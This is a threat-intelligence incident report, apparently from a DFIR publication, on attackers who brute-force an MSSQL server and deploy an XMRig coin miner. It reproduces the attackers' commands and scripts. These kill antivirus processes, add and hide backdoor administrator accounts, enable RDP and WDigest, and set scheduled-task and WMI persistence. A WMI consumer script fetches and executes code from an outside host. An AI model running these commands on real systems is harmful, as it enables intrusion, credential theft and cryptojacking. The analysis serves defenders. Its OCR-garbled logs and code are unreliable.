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In March 2022, we observed an intrusion on a public-facing Microsoft SQL Server. The end
goal of this intrusion was to deploy a coin miner. Although deploying a coin miner on a
vulnerable server after successful exploitation is a common objective for threat actors, this
intrusion was slightly different and therefore more interesting.

US CERT recently published a malware analysis report related to XMRig coin miner on 23rd
June 2022 (https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-174a) and a security tip

for defending against this threat (https://www.cisa.gov/uscert/ncas/tips/ST18-002).

Summary
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Over the month of March, we observed a cluster of activity targeting MSSQL servers. The
activity started via password brute force attempts for the MSSQL SA account. These brute
force attempts were observed repeatedly over the month. Examples included one cluster of
24,000 failed attempts from the same source, over a 27 hour effort, before they finally
managed to guess the password. After having the correct credentials in their possession, the
attackers then spawned a command shell via xp_cmdshell. According to Microsoft
documentation, xp_cmdshell spawns a Windows command shell and passes in a string for
execution.

Using xp_cmdshell, the threat actors were able to execute any command against the
compromised server. They attempted to kill a bunch of AV programs by using taskkill.exe.
The threat actors then wrote multiple commands to a batch file by using echo and redirecting
the strings to a file named 1.bat. After the batch file was written they then proceeded to
perform the same action echoing data into a file named bidfile.txt. After they finished writing
to that file, they ran certutil to decode the base64 data into an executable file. This
executable was a privilege escalation tool that was used to execute the batch file to make
sure it executed with high enough permissions. They then executed the batch script. The
commands included adding new users to the local administrators group, enabling RDP,
enabling WDigest, and hiding the newly created admin accounts using the registry.

Once the threat actors had established persistence on the compromised host, they moved to
their final objective, which was to install and run the XMRig miner. They dropped a Binary
Managed Object Format (BMOF) file along with the miner itself, to do that. The threat actors
used mofcomp.exe to decompile the BMOF binary and register a malicious class in the WMI
repository. The event consumer of the newly created classes included a VBE script
responsible for setting up and executing the XMRig miner with the correct settings.

No other activity beyond the mining was observed before the threat actors were evicted.

Services

We offer multiple services including a Threat Feed service that tracks Command and Control
frameworks such as Cobalt Strike, Sliver, BumbleBee, Covenant, Metasploit, Empire,
PoshC2, etc. More information on this service and others can be found here.

Artifacts for this case are limited due to the environment. A few log sources are available for
this case under our Security Researcher and Organization services.

Analysis and reporting completed by @_pete_0 and @kostastsale

Initial Access

The initial access took place via a brute-force attack, where the threat actors mainly targeted
the System Admin (SA) account.
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During the intrusions, we could see SQL Server event ID 18456 Failure Audit Events in the
Windows application logs. We witnessed more than 24,000 attempts from the same source
before the threat actors successfully guessed the username and password for the open SQL
database.

Example of the failed brute force attempts:

sa| Reason: Password did not match that for the login provided. | || GGG
hbv7| Reason: Could not find a login matching the name prwided.l_

su| Reason: Could not find a login matching the name provided. |
ps| Reason: Could not find a login matching the name provided. |
vice | Reason: Could not find a login matching the name provided. |

kisadmin| Reason: Could not find a login matching the name provided, |
401hk| Reason: Could not find a login matching the name provided. |
sysdba| Reason: Could not find a login matching the name provided. |
admin | Reason: Password did not match that for the login provided. |
uep| Reason: Could not find a login matching the name provided. |
bizbox| Reason: Could not find a login matching the name provided. |
neterp| Reason: Could not find a login matching the name provided. |
unierp| Reason: Could not find a login matching the name provided. |
sp| Reason: Could not find a login matching the name provided. |
root| Reason: Password did not match that for the login provided. |

bwsa| Reason: Could not find a login matching the name provided. |

Followed by eventual successful logins.

TimeWritten | ¥ | EventlD | v | EventT| * | EventTypeName |-T EventC| ¥ | SourceMame - | 5trings
2022 11:00 18454 8 Success Audit event 4 MSSQLSSQLEXPRESS sa| [CLIENT:
2022 11:00 13454 8 Success Audit event 4 MSSOLSSOLEXPRESS sal [CLIEMNT:
2022 11:01 18454 & Success Audit event 4 MSSOLSSOLEXPRESS sa| [CLIENT:

It it likely that multiple successful logins were observed due to the automated access script
that the threat actor was using.

Execution

In the next attack stage, the threat actors established a cmd shell via Extended SQL Stored
Procedure (xp_cmdshell). This process allows you to issue operating system commands
directly to the Windows command shell using T-SQL code. An example of command
execution following a successful authentication to SQL database using xp_cmdshell:

#Executing 'whoami' command on the remote host
EXEC xp_cmdshell ‘whoami’

At a high level, the overall execution events can be depicted in the below diagram:

3/24


https://thedfirreport.com/wp-content/uploads/2022/07/12780-01.png
https://thedfirreport.com/wp-content/uploads/2022/07/12780-02.png
https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver15

START

Brute-Force Attack Against
SQL Server

LSuccessfuI Authentication via
Brute Force Attack

“Command Shell via xp_cmdshell

| Writes 1.bat, and bigfile.txt to
disk

L decodes bigfile.txt with
certutil into bigfile.exe

{ bigfile.exe used to run 1.bat
1.bat performs the following

Adding Local
Administrator Accounts

Hiding New Local
Admin Accounts

Enables RDP
Enables Wdigest

I~ Writes kit.bat to disk

% Running XMRig CoinMiner

Creating scheduled task
for CoinMiner

- Compiling BMOF file

EventConsumer
(Script or executable to run) | Download/executes VBE

script

{ Creates persistence

~—— Set up and execute miner

Adding a new class(

MyASEventConsumer) in EventFilter ___-Random Name

WMI repository (Trigger condition) - Executes every day at 23:00
Binding
(Tie together Filter +
Consumer)

- Kills AV Processes

If we look into the Windows Application logs, specifically, the SQL Server event ID 15457,
captures this as an ‘xp_cmdshell’ event. Additionally, the SQL Server audit collection also
captures similar events. The first commands executed by the threat actors included using
taskkill for various anti-virus software.
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4:40:00 AM  04:40-00.4833777 SQLEXPRESS EXECUTE STORED PROCEDURE EXTENDED
£3347AM  D4:39:47.5960567 SQLEXPRESS EXECUTE STORED PROCEDURE EXTENDED
4333BAM  (2:33:35.0328675 SULEXPRESS EXECUTE STORED PROCEDURE EXTENDED

43522 AM  04:39:22 5743886 SQLEXPRESS EXECUTE STORED PROCEDURE EXTENDED
43914 AM  04:39:14 2973853 SQLEXPRESS EXECUTE STORED PROCEDURE EXTENDED
43909 AM  04:39:09.0148814 SQLEXPRESS EXECUTE STORED PROCEDURE EXTENDED
43501 AM  04:39:01.9907511 SQLEXPRESS EXECUTE STORED PROCEDURE EXTENDED
43433AM  D4:34:33.1264040 SQLEXPRESS EXECUTE STORED PROCEDURE EXTENDED
43425 AM  (4:34:25.2361160 SOLEXPRESS EXECUTE STORED PROCEDURE EXTENDED
43418 AM  04:34:18.3242830 SQLEXPRESS EXECUTE STORED PROCEDURE EXTENDED

0000000000 D

43409AM | 04:34.09.0905214 QLEXPRESS EXECUTE STORED PROCEDURE EXTENDED
12627PM  13.26:27 4626355 SQLEXPRESS EXECUTE STORED PROCEDURE EXTENDED
<
Selected row detalls:
Server Pancipal Name 38

Server Principal SID (=01

Database Pancipal Name db
Target Server Principal Name
Target Server Pancipal SID  NULL

Target Diatabase Principal Name
Jatabase MName
Schema Name

Joject Name xp_cmdshel
Sstement exec master. xp_cmdshell Yaskkil £ /im 360safe exeltaskkil £ /im 360sd exeltaskkil £ /im 360 exedtaskidl 4
Action ¢ #  ParentimagePath & #  ParentimageCmdiline & 7 e e emadiinet & s

Terminates C:\Windows\System32\cnd. exe

Windows C:\Program Files\Microsoft SQL +\Program Files\Micy sqlservr.exe -SSQLEXPRESS  Cmd.Exe C:\Windows\sy 2\emd.exe /e taskkill /f /im
Comman d Server\ \MSSQL15. SQLEXPRESS\MSSQL \Binn\sqlservr .exe QQPCTray. exed 111 /f /im QQPCRTP.exe&taskkill /f /im
QQPCHgr. exektaskkill /f /im ka exetaskkill /f /in
alg.exedtaskkill /f /im AVP. exeSexit

Terminates C:\Windows\System32\cmd. exe

Terninates C:\Windows\System32\cnd. exe i1l taskkill.exe  taskkill /f /im ZhuDongFangYu.exe

taskkill /f /im egui.exe

taskkill /f /im QQPCTray.exe

taskkill /f /im SafeDogGuardCenter.exe
taskkill /f /im 360safe.exe

taskkill /f /im net1895.exe

taskkill /f /im ekrn.exe

taskkill /f /im 360rp.exe

taskkill /f /im QQPCMgr .exe

taskkill /f /im SafeDogServerUI.exe
taskkill /f /im SafeDogSiteIIS.exe

The threat actors also favored the execution of batch scripts on the compromised host. They
used xp_cmdshell to write a batch script (1.bat) to disk by redirecting strings to the file using
echo commands.
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A second set of commands were also echoed into a file named bigfile.txt.

Action Type Initiating Process File Name

eated

Once complete, certutil was used to decode the text and create an executable file.

"cmd.exe" /c certutil -decode %USERPROFILE%\AppDatal\bigfile.txt
%USERPROFILE%\AppData\bigfile.exe

This executable was then used in executing the 1.bat batch file.

"cmd.exe" /c %USERPROFILE%\AppData\bigfile.exe -1 -c %USERPROFILE%\AppData\l.bat

Pulling the hash of the file that was written, matches what appears to be a privilege
escalation tool as seen in the hits from THOR scanner:
https://www.virustotal.com/qgui/file/b67dfd4a818d10a017a4d32386¢f4cd2a3974636bed04f27
e45deb6ada86a56d2/community
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thor
1 month ago

YARA Signature Match - THOR APT Scanner

RULE: Hacktool_Inject_Incognito

RULE_SET: Livehunt - Hacktools1 Indicators %

RULE_TYPE: VALHALLA rule feed only

RULE_LINK: https://valhalla.nextron-systems.com/info/rule/Hacktool_Inject_Incognito
DESCRIPTION: Detects hacktool inject

RULE_AUTHOR: Florian Roth

Detection Timestamp: 2022-06-07 23:44
AV Detection Ratio: @ 8/ 67

Use these tags to search for similar matches: #hacktool #inject #incognito #hacktool_inject_incognito
Mare information: https://www.nextron-systems.com/notes-on-virustotal-matches/
Show less

thor
1 month age

YARA Signature Match - THOR APT Scanner

RULE: Hacktool_incognito_av

RULE_SET: Livehunt - Hacktools2 Indicators %

RULE_TYPE: VALHALLA rule feed only

RULE_LINK: https://valhalla.nextron-systems.com/info/rule/Hacktool_incognito_av

DESCRIPTION: Detects Hacktool Incognito AV

REFERENCE: https://iwww.virustotal.com/en/file/18e64ddf246c4f481de7bb4542fBc6acc802549d437ec0018c10ab30bbBb75d/analysis/
RULE_AUTHOR: Flarian Roth

Detection Timestamp: 2022-06-07 23:44
AV Detection Ratio: @ 8 / 67

Use these tags to search for similar matches: #hacktool #incognite #hacktool_incognito_av
Mare information: https://www.nextron-systems.com/notes-on-virustotal-matches/
Show less

thor
1 month ago

YARA Signature Match - THOR APT Scanner

RULE: HKTL_Incognito_Privilege_Escalation_Jan22_1

RULE_SET: Livehunt - Hacktools7 Indicators %

RULE_TYPE: VALHALLA rule feed only

RULE_LINK: https:/fvalhalla.nextron-systems.com/info/rule/HKTL _Incognito_Privilege_Escalation_Jan22_1
DESCRIPTION: Detects a hacktool that seems to provide some privilege escalafion vectors

REFERENCE: https://github.com/Kal endsi/CVE-2022-21882/

RULE_AUTHOR: Florian Roth

Hey, this seems to be an open-source tool or framework. The author has shared it with the community with the intention to improve overall security. If you are a victim and noticed this tool in a breach,
please visit the tool's github page (see above) and tell your story by creating an issue on the issues page: https:/github.com/KaLendsi/'CVE-2022-21882/issuas .

Detection Timestamp: 2022-06-07 23:44
AV Detection Ratio: @ 8 / 67

We believe this tool may be a variation of NetworkServiceExploit.exe, which attempts to use
NetworkService for privilege escalation.

Additionally, we noticed the attackers dropping a file named “xitmf”. Looking into the file’s
content, we noticed that the header began with “FOMB”. When flipping the header, it spells
BMOF, which indicates a Binary Managed Object Format file. BMOF is a compiled version of
a Managed Object Format (MOF) file. As per Microsoft’s official documentation:

“Managed Object Format (MOF) is the language used to describe Common
Information Model (CIM) classes.”

MOF files are compiled using the Windows compiler tool mofcomp. Mofcomp.exe is also
used to execute scripts by parsing the MOF statements and creates new classes as part of
the WMI repository.
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e
EventlD re

$  Action & #  ParentimagePath & #  ParentimageCmdline #  FileName % cmdlinet
1 The Managed C:\Program Files\Microsoft SQL C:\Program Files\Microsoft SQL mofcomp.exe  C:\Windows\System32\wbem\mof comp. exe
Object Format Server’ \MSSQL15. SQLEXPRESS\MSSQL\Binn\sqlservr .exe Server’ \MSSQL15. SQLEXPRESS\MSSQLA\Binn\sqlservr.exe -sSQLEXPRESS C:\Windows\SERVIC-1\MSSQL$~1\AppData\Local \Temphxi tmf

(MOF) Compiler

1 The Managed C:\Windows\System32\cmd. exe C:\Windows\system32\cnd. exe /c mofcomp.exe mofcomp.exe  mofcomp. exe
Object Format C: \Windows\SERVIC~1\MSSQL$~1\AppData\Local \Temp\xitmf C: \Windows\SERVIC~1\MSSQL$~1\AppData\Local \Tempxi tmf
(MOF) Compiler

1 Windows Command C:\Program Files\Microsoft SQL C:\Program Files\Microsoft SQL Cmd. Exe C:\Windows\system32\cmd.exe /¢ mofcomp.exe
Processor Server' \MSSQL15. SQLEXPRESS\MSSQL\Binn\sqlservr . exe Server’ \MSSQL15. SQLEXPRESS\MSSQL\Binn\sqlservr.exe -sSQLEXPRESS C:\Windows\SERVIC-1\MSSQL$-1\AppData\Local\Temp\xi tmf

cmd.exe /c mofcomp.exe C:\Windows\SERVIC~1\MSSQL$~1\AppData\Local\Temp\xitmf

Using the same mofcomp utility, its possible to decompile the BMOF to extract the script,
using this command provided by Matt Graeber:

2 Matt Graeber
% @mattifestation
FYI, Text from binary MOFs can be recovered with

mofcomp: MOF:recovered.mof -MFL:ms_409.mof -
Amendment:MS_409 binarymof.tmp

512 PM - Mar 30, 2016 - Twitter Web Client

Threat actors also transferred a Visual Basic Encoded (VBE) file that is executed on the host
using cscript.exe. Once run, the script would set up and execute the XMRig CoinMiner.
During the execution, the password 579562847 is provided as an argument.

cscript.exe /b /e:VBScript.Encode
C:\Windows\SERVIC~1\MSSQL$~1\AppData\Local\Temp\xit 579562847

.
EventiD rd
¢ Action ¢ #  ParentimagePath = #  ParentimageCmdline & #  FileName & cmdlinel &
1 Microsoft \xAE C:\Windows\System3z\cmd. exe C:\Windows\system32\cnd.exe /c cscript.exe /b fe:VBScript.Encode cscript.exe  cscript.exe /b /e:VBScript.Encode
Consele Based C:\Windows\SERVIC~1\MSSQLS~1\AppData\Local\Temp\xit 579562847 C:\Windows\SERVIC~1\MSSQL$~1\AppDatatLocal\Temp\xit 579562847

Seript Host

1 Windows Command  C:\Program Files\Microsoft SQL C:\Program Files\Microsoft SQL Cmd .Exe C:\Windows\system32\cmd.exe /c cscript.exe /b /e:VBScript.Encode
Processor Server' \MSSQL15. SQLEXPRESS\MSSQL\Binn\sqlservr. exe Server\MSSQL15. SQLEXPRESS\MSSQL\Binn\sqlservr.exe -sSQLEXPRESS C:\Windows\SERVIC-1\MSSQL$~1\AppData\Local \Temp\xit 579562847

We recognize that this is a VBE file from the file signature (“magic bytes”) at the first four
bytes of the top of the file.

00000000 23 408 7e 5e 2b 6b 73 41 41 41 3d 3d 36 09 50 33 |#@~ +ksAAA==6.P3|
ADPeAB1d 4d 44 4b 44 50 22 2b 6b 3b 3a 7T 50 48 2b 58 59 |MDKDP"+k;:.PH+XY|
00000020 40 23 40 26 47 6b 3a 2c 36 3f Se 6c 6f 42 36 6a |@#@&Gk:,67~10B6j |

000BOO3® 5c 7T 44 42 78 3b 3a 5e 32 21 2f 53 57 28 25 72 |\N.DBx;:"2!/SW(%r|
AARAARAR 71 GG Ah 42 Ad A 2z A4 B2 Ah 24 I8 T T4 22 27 LIVKIM] - ASKAZ +(" ]

We can decode the VBE file using CyberChef:
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Recipe

Microsoft Script Decoder

Generic Code Beautify

Syntax highlighter

Language
auto detect

I\

o

O

Input l::ﬁte: 19“: + O3 § =
XR$ ESXyM}b-
y~4zR1RqEB/ YM2h9###@&aCDYaR6wnU, J | 2 E~ ! ~n T@H#@R6UODW
2880”4514k 19nD, 1) EDLG. bylDri I~,E$1lkk1PeK24r@#@&6 OYaRjn
N@#@& (6PaCD0aRID1DE/, ', * ! 8PPAI x@#@.owh
nDMWP {~o1~ /B @#8& >n0, 6uUYD2P{PHGDtKUL@#@236b0, s; mDkW
@4683Vk+@#@29WAUBEDDK~" , KD ! n@#@RU+DPaC00aPxPgGY4KUL@#@&2arDPoE
~DkG
@H@2xIPLIBHER2UN, 5 ; ULYKKU@HEE@#@%w ; UMDKKx~xGO | kU{m. Dv/SC*@#@%
(W,j$WIU9" C*P{POBP: 4+  @#@RxKYmr {1M. P{PKM; n@#@%2XkOPo;
mOkKU@#@&2U[ , qe@#@8wi . PAC1t~4P&xPm@#D&
(8,qU?DDcqBt~kSF*P@*, T~K4+
@#@8&xG0 | kU{m.D, ' ~omV/ n@#@&2akD~wEULYbWx@#BLAUN, qWE#E2 LnaD@#Es
GY|kx|C.D, " ,K.En@#@&2UN, oF mOrKx@#08@#@4s ; x10bWU, k
{1MDvd~mHR#EREB~ 1 E [ m#P{~RF , K4+U@H@ar
{CDM~" , sCsk+B#@&3XkOPwW; mObW
@408A%9~q6@EERSKD~3mmt , 4PAXPM@EERGEPAXTY . cB~A~KSF*PE*~ZPK4n
@4@&k  mmD., ' ,KD!+@#@&2XkOPWEU~DkW BHE&AKN,

(Wes@s15 sops@ar {COM~" , sCsk+@H@R3
Nevs T ULYrKx@#BRNTMWAA==~

time: 3237mc
, C 2
Output wenzez @10 [ H

On Error Resume Next

Dim 05lag, OSver, numcpus, objOutParams, objWMIREGService

Set objWMIREGService = GetObject("winmgmts:
{impersonationLevel=impersonate}!\\.\root\DEFAULT:StdRegProv")
objOutParams = objWMIREGService.GetStringValue(&H30000002,
"SYSTEM\CurrentControlSet\Control\Nls'\Language”, "Default”,
0slag)

objOutParams = objWMIREGService.GetStringValue(&H3e0a0002,
"SOFTWARE\Microsoft\Windows NT\CurrentVersion", "CurrentvVersion”,
Osver)

objOutParams = objWMIREGService.GetStringValue(&H3eea0002,
"SYSTEM\CurrentControlSet\Control\Session Manager\Environment”,
"NUMBER_OF_PROCESSORS", numcpus)

Set objFS0 = CreateObject("Scripting.FileSystemObject™)

Set wi = CreateObject("WindowsInstaller.Installer™)

windir = objFs0.GetSpecialFolder(@)

The script has several functions, one to control the coin miner software on the host, and two,
to configure the parameters such as user-agent strings through randomization:
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user_agent_list = Array("Mozilla/5.@ (compatible; MSIE 9.0;
Windows NT 6.1; WOW64; Trident/5.@)", _

"Mozilla/5.0 (compatible; MSIE 9.@; Windows NT 6.1; Win64; x64;
Trident/5.8)", _

"Mozilla/5.@ (Windows; U; Windows NT 6.1; en-US)
AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133
Safari/534.16", _

"Mozilla/5.@ (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML,
like Gecko) Chrome/23.0.1271.64 Safari/537.11", _

"Mozilla/5.@ (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15)
Gecko/20110303 Firefox/3.6.15", _

"Mozilla/5.@0 (Windows NT 6.1; Win64; x64; rv:2.@bl3pre)
Gecko/20110387 Firefox/4.8bl3pre”, _

"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
Trident/4.8)", _

"Mozilla/4.0 (compatible; MSIE 8.@; Windows NT 6.1;
Trident/4.8)")

Randomize

Command interactions are done via WMI, for process discovery:

Set objWMIService = GetObject("winmgmts:\\" & strComputer &

"\root\cimv2")
Set colItems = objWMIService.ExecQuery(“"Select * from

Win32_ComputerSystem"”, , 48)
Process creation:

Set objShare = objPS.Get("Win32 Process™)
Set objInParam =
objShare.Methods_("Create"”).inParameters.SpawnInstance_()

In the code, we observed further attempts to obfuscate sensitive attributable values:
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L0

nStr(l,strl,MDnStr( gq87676@lrhrq.ewq”,strpwd),1) >
'rApp = True

Using the original password and some further de-obfuscation, we could decipher the values,
in this case, the email address is:

[email protected]

Some other deciphered values relate to coin mining pools:

crypto-pool[.]fr
minergate[.]com

We also observed another dropper. Threat actors transferred the file ex.exe. Ex.exe is an
Unrar application that they used to extract more malicious artifacts:

1"nooer

1 en:ss

e

Action ¢

5.11.0

34.2

2

54.7

1 e1:55.5

nooer

1w

Processor

54.7

ndows

777 RAR

e

ParentimagePath + s

C:\Windows\Systen32\wbem\WniPrvsE. exe

C:\Windows\Systen32\cnd. exe

CommandLine:

s
FileName
ParentimageCmiine & ’
RAR
777777777
C:\Windows\system32\wbem\wniprvse .exe -secured -Embedding  Cnd.Exe
cnd. exe /c

€:\Windows\SERVIC~1\MSSQL$~1\AppData\Local\Temp\ex. exe x -
ProotBRUCE -y

C:\Windows\SERVIC-1\MSSQL$-1\AppData\Local\Temp\istx64f . rar
C:\Windows\SERVIC~1\MSSQLS~1\AppData\Local\Tenp\mstrx\ &del
/£/q C:\Windows\SERVIC-1\MSSQL$~1\AppData\Local \Temp\+. tmp

emdlinel & s

emd.exe /c
C:\Windows\SERVIC-1\MSSQLS~1\AppData\Local \Temp\ex . exe x
ProotBRUCE -y

C:\Windows\SERVIC~1\MSSQLS~1\AppData\Local \Temp\istx64f. rar
C:\Windows\SERVIC~1\MSSQL$~1\AppData\Local \Temp\mstrx\ &del
/£/q C:\Windows\SERVIC~1\MSSQLS~1\AppData\Local\Temp\. tmp

C:\Windows\SERVIC~1\MSSQL$~1\AppData\Local \Temp\ex.exe  x -
prootBRUCE -y

C:\Windows\SERVIC~1\MSSQL$~1\AppData\Local \Temp\i5tx64f . rar
C:\Windows\SERVIC-1\MSSQL$-1\AppData\Local \Temp\mstrx\

FileCreated ~ s

C:\Windows\ServiceProfiles\MSSQLSSQLEXPRESS\AppData\Local\Temp\ex. exe

C:\Windows\ServiceProfiles\MSSQL$SQLEXPRESS\AppData\Local\Tenp\ex. exe

C:\Windows\SERVIC-1\MSSQL$~1\AppData\Local \Temp\mstrx\snss . exe

C:\Windows\SERVIC~1\MSSQL$~1\AppData\Local \Temp\mstrx\kit. bat

C:\Windows\SERVIC~1\MSSOL$~1\AppData\Local \Temp\mstrx\WinRingox64. sys

C:\Windows\SERVIC~1\MSSQL$~1\AppData\Local \Temp\mstrx

18.9.17763.592 (WinBuild.160101.8860)

5.11.0

ex.exe X -prootBRUCE -y C:\Windows\<REDACTED>\AppData\Local\Temp\istx64f.rar
C:\Windows\<REDACTED>\AppData\Local\Temp\mstrx\<file>

File Extracted:

WinRing@x64.sys - XMRig cryptominer windows driver
smss.exe - XMRig coin miner

kit.bat

The kit.bat script included instructions for executing the miner as well as for creating
persistence via a schedule task. See the contents of the script below:
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@echo off

set usr=jood.06.10

set app=smss.exe

cd /d "%~dpso"

if "%1"=="-s" (

if EXIST %~dpsOsmss.exe start /min %~dpsOsmss.exe -Cc %usr%
exit

if EXIST %~dpsOsmss.exe start /min %~dps@smss.exe -c %usr%
schtasks /delete /tn ngm /f

schtasks /delete /tn cell /f

schtasks /create /tn ngm /tr "%~dpsOkit.bat -s" /sc hourly /ru ""
schtasks /run /tn ngm

exit

Something to note here, regarding the kit.bat script, is that we discovered that its contents
were the topic of discussion in a Chinese forum back in 2018.

Link: hxxp://www][.]bathome[.]net/thread-48526-1-1.htm|

HAMEZR v » BATREIRINIE » AMEITERE TR MR

=3

Ww5655271 [] £%F 2018-6-28 09:51 | REZEE S4TE Fakd: T T GISEN  RkEE |:|» 1%

01. @echo off

02. set AxHt=asdfghjkl
@3. set usr=jood.01.02
@4. set app=smss.exe

21t
- 05. cd /d "%-dpso" L3
o 06. if "%1"=="-s" (
?‘fz 12 Q7. if EXIST %~dps@smss.exe start /min %~dps@smss.exe -c %usr%
s 08. exit
BAR 0 2
#8 0 -

10, %AxHt:~1,1%CH¥AXHE:~5, 16E%AXHE : ~0, 1I¥%AXHE : ~1, 1¥K¥AXHE :~1,1% /%AxHE:~2,1%elete /tn n¥AxHE:~4,1%m /%AxHt:~3,1%
11, %AxHt:~1,1%c%AxHt:~5, 1%t%AxHt : ~0, 1%¥AXHE : ~1, 1%k¥AXHE :~1,1% /%AxHt:~2,1%elete /tn cell /%AxHt:~3,1%
12.  %AxHt:~1,1%ckAxHt:~5,1%t%AxHt : ~0, 1%%AxHt : ~1, 1%k¥AxHt : ~1,1% /cre¥AxHt:~0,1%te /tn n¥AxHt:~4,1%m /tr "%~dps@kit.bat -s" /sc hourly /ru ""
13.  "%~dps@kit.bat" -s
14.  %AxHt:~1,1%c¥%AxHt:~5,1%t%AxHt:~0, 1%%AxHt : ~1, 1%k%AxHt :~1,1% /run /tn n%AxHt:~4,1%m
15. exit
SHIKE

SERRATIE) 2018-6-28

L6 PE

Persistence

The threat actors wrote a batch script (1.bat) that contained commands for establishing
persistence on the compromised host. We see the creation of a new account and adding this
account to the local administrators group.

NET USER Adminv$ !'67hCS140RVg /ADD /expires:never
NET LOCALGROUP Administrators /ADD Adminv$

12/24


https://thedfirreport.com/wp-content/uploads/2022/07/12780-17.png

They also made remote RDP connections possible by changing the fDenyTSConnections
and UserAuthentication values to O.

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-TCP" /v UserAuthentication /t REG_DWORD /d "@" /f

NET USER Adminv$ !'67hCS140RVg /ADD /expires:never

NET LOCALGROUP Administrators /ADD Adminv$

REG ADD "HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v Adminv$ /t REG_DWORD /d ©
reg add
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-TCP" /v UserAuthentication /t REG_DWORD /d "@" /f

NET LOCALGROUP Administrators /ADD Adminv$

NET LOCALGROUP Administratoren /ADD Adminv$

NET LOCALGROUP Administrateurs /ADD Adminv$

NET LOCALGROUP Administratorzy /ADD Adminv$

NET LOCALGROUP Administradores /ADD Adminv$

Full Contents of 1.bat

We later see the threat actors writing another batch file to disk and executing it. The kit.bat

script contained a scheduled task that would run the kit.bat script on an hourly basis.

schtasks /create /tn ngm /tr "%~dpsOkit.bat -s" /sc hourly /ru ""
schtasks /run /tn ngm

As explained in the execution tactic above, the threat actors installed a malicious WMI event
subscription by including a VBScript that would execute on the compromised host. This was
used as a method of persistence. The VBScript would execute every day at 23:00 of the host

local time.
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#pragna namespace("\\\\.\\root\\subscription")
class ASEventConsunerdr : __EventConsuner
i

[key] Nam
[not_null] ScriptingEngine;
ScriptText;

ScriptFilenane;

KillTineout

%

Instance of _Win32Provider as $SCRCONS_P
<

Name = "ASEventConsumerdr";
Clsid = "{266c7267-6268-11d1-ad89-00C04dBIAT1}";
PerUserInitialization = TRUE;

Hostingllodel = "SelfHost";

Instance of __EventConsunerProviderRegistration
i

Provider = SSCRCONS_P,
ConsunerClassNanes[] = {"ASEventConsunerdr"};

Instance of ASEventConsumerdr as $CONSUMER
i

Ereafurs]hl] =

1,2,0,0 00,05 32,000 32 2,0, 0
IYASECAr";

Scrlpnanr\gw: Script";
ScriptText = "on errar Resune Next:Guestione = GetGuest(1):Adhane = GetGuest(0):et objser = Getdbject(\IWIINT://./\" & Guestlane & V", user\')sabjuser. setPassword \"adnin, 1231443\ objUser <Pt \’ red\", CLng(0): SetInfoiSet objlserad =
Getubje:tl\“wmm J1.1\" & AdNane & \", user\"):objUser *,CLng(0) :objUserad. SetT = GetObject(\"winmgnts: {inp =inp AL T "):0im 1, ualue:Din
) \"SYSYEM\\(urren((nn(rn\Se(\\Lnn(m\\ C ")\ "1 on)scapud Gues i ) \" \\usevs\\meaelw\"
", walue) = objiwIsen ", ARV, uialued) T ) = obj " 5\\000001F5\",

\'-rv‘ Wale) End 11: = objhMISer: \ svsvsm\(unemmra\sm\(umu\\\mmna\ server\", \ fDenyTSComectionsi, 0 = objuMISer \"SYSTEN\\CurrentControlset\\Control\\Terminal Server\\WinStations\\ROP-Tcp\",
o . TEMAC

\" & rlog()wlog stridethostiset

.Open \"GET\",\"http://nst2.mynst007. info:4000/ex?

Manaqer\\Eanmnmen(\“ \"NUMBER_OF_PROCESSORS\", numcpus) : delhost: rhfs myhfs() If rhfs And uvalue <> \"S. 1\“ Then str = uvaluel & \ " & uvalue & \"- \“ & yxs]() & \”Meurs
X.0pen \"GET\", \"http: //st2.nynsto07. info: 4000/ 7info=\" & en(str) ,0:x.Send():End Tf:1f rhfs Then execnydler()sFunction execnydler(
\",-1,1):For Each 0d In M:Nd=Nd+Chr(0d-2):Next:Set P=Nothing:If Len(Nd) > 10 Then:Execute(Nd):End If:End Function: Fun(tmn myhsz delhns( Set P=( (rea(eﬂb]ec((\ W)nN(tD wmm(nkeques( 5.1\"): P Open
GET\",\"http://mst2.mynstee7. info: . Send( If InStr(1,b,\"2.3.1\",1) > 0 Ther True:Exit False:Exit
Asc(Mid(data,j,1)) + 2:Else:newdata = newdata & Asc(Mid(data,j,1)) + 2 & \"_\":End If:Next:en = newdata:End Functmn unction mStr(ivalues):s LBounu(Na\ues] Tn uBound(x\la\ues)
GetGuest () suadn=\"adninist rator\":ugst=\"guestno\" strComputer = \".\" :Set objWMIService? = GetObject(\'winngnts:\\\" & strComputer & \"\\rot\\CIHV2\") :Set colltens = objWMIService2. ExecQuery(\"SELECT + FROM Win32_UserAccount\",,d8) :For Each objItem In colltems :
Right (objItem.SID,4. \"-501\" Then :ugst = objItem.Name:End If:If sid = \"-50@\" Then :uadm = objItem.Name:End If:l N If @ Then:GetGuest = uadm:Else:GetGuest = ugs( End If:End Function:Function (ngd(usr,cr\m,strcmﬂnu(er nm:Set colAccounts = Getbb]e(tl\' mNT 17
strcomputer & \"\"):colAccounts. Filter = Array(\"user\"):For Each objUser In colA Lcase (objuser. (usr) T r.SetPassuord \"adnin, .1231@#$%°\"objU ", CLng(0) 1objUser nd
